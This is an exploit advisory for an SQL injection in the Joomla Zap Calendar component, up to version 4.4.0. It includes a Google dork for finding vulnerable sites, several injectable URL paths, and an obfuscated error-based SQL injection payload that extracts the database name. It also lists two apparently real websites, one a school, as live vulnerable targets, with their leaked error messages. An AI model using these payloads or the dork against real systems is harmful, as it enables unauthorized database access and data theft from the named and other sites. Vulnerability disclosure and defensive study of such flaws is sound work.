Joomla ZCalendar Zap Calendar 4.4.0 SQL Injection

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# Exploit Title : Joomla ZCalendar Zap Calendar 4.4.0 SQL Injection
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 12/02/2019
# Vendor Homepage : zcontent.net - zapcalendar.com
# Software Download Link : zcontent.net/products/subscriptions
# Software Information Link : extensions.joomla.org/extension/zap-calendar/
zcontent.net/support/zapcalendar/
# Software Version : 3 and 4 - 4.4.0 and previous versions.
+ Zap Calendar 4 is compatible only with Joomla version 3.x.
+ Zap Calendar 3 is compatible with Joomla versions 1.5, 1.6, 1.7 and 2.5.
# Software Price : 49$ - 99$ - 139$
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Google Dorks : inurl:''/index.php?option=com_zcalendar''
# Vulnerability Type : CWE-89 [ Improper Neutralization of
Special Elements used in an SQL Command ('SQL Injection') ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos

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# Description about Software :
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Zap Calendar is an advanced, native Joomla calendar featuring AJAX, RSS and

full iCalendar support. There are dozens of add-ons available for

Zap Calendar, making it a full-featured calendaring system for Joomla websites.

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# Impact :
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* Joomla ZCalendar Zap Calendar 4.4.0 and other versions -

component for Joomla is prone to an SQL-injection vulnerability because it

fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application,

access or modify data, or exploit latent vulnerabilities in the underlying database.

A remote attacker can send a specially crafted request to the vulnerable application

and execute arbitrary SQL commands in application`s database.

Further exploitation of this vulnerability may result in unauthorized data manipulation.

An attacker can exploit this issue using a browser.

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# SQL Injection Exploit :
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/index.php?option=com_zcalendar&task=view&vmode=e&eid=[SQL Injection]

/index.php?option=com_zcalendar&view=plugin&name=rsvp&task=rsvpform&user=&eid=[SQL Injection]

/index.php?view=calendar&viewid=[ID-NUMBER]&format=html&Itemid=[ID-NUMBER]&option=com_zcalendar&ajax=[SQL Injection]&tmpl=zcalendar&vmode=m

/index.php?option=com_zcalendar&Itemid=&ajax=[ID-NUMBER]&ctype=d&date=[YEAR]-[MONTH]-[DAY]&format=raw&id=[ID-NUMBER]&lang=en&limitstart=[SQL Injection]&view=calendar

/index.php?cat=[ID-NUMBER]&cat=[ID-NUMBER]&cat=[ID-NUMBER]&cat=[ID-NUMBER]&cat=[ID-NUMBER]&cat=[ID-NUMBER]&cat=[ID-NUMBER]&cat=[ID-NUMBER]&cat=[ID-NUMBER]&allcatmatch=[ID-NUMBER]&vmode=w&viewid=[ID-NUMBER]&view=calendar&date=[YEAR]-[MONTH]-[DAY]&format=html&Itemid=ID-NUMBER]&option=com_zcalendar&viewid=[SQL Injection]

# Example SQL Injection Exploit Payload :
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1++aND(/*!00000sELeCT*/+0x30783331+/*!00000FrOM*/+(/*!00000SeLeCT*/+cOUNT(*),/*!00000CoNCaT*/((sELEcT(sELECT+/*!00000CoNCAt*/(cAST(dATABASE()+aS+cHAR),0x7e,0x496873616E53656e63616e))+fROM+iNFORMATION_sCHEMA.tABLES+wHERE+tABLE_sCHEMA=dATABASE()+lIMIT+0,1),fLOOR(rAND(0)*2))x+fROM+iNFORMATION_sCHEMA.tABLES+gROUP+bY+x)a)&format=raw

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# Example Vulnerable Sites :
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[+] stdominicschool.net/index.php?view=calendar&viewid=1&format=
html&Itemid=215&option=com_zcalendar&ajax=1&tmpl=zcalendar&vmode=m

[+] mail.hbaofmidga.com/index.php?cat=1&cat=2&cat=3&cat=5&cat=6&cat=7&cat=8&cat=9
&cat=10&allcatmatch=0&vmode=w&viewid=1&view=calendar
&date=2003-07-06&format=html&Itemid=117&option=com_zcalendar&viewid=1

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# Example SQL Database Error :
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Warning: Creating default object from empty value in
/home4/stdom/public_html/libraries/joomla/registry/registry.php on line 421

Deprecated: Non-static method JSite::getMenu() should not be called statically,
assuming $this from incompatible context in /home/hbaadmin
/public_html/components/com_zcalendar/views/calendar/view.html.php on line 112

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# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

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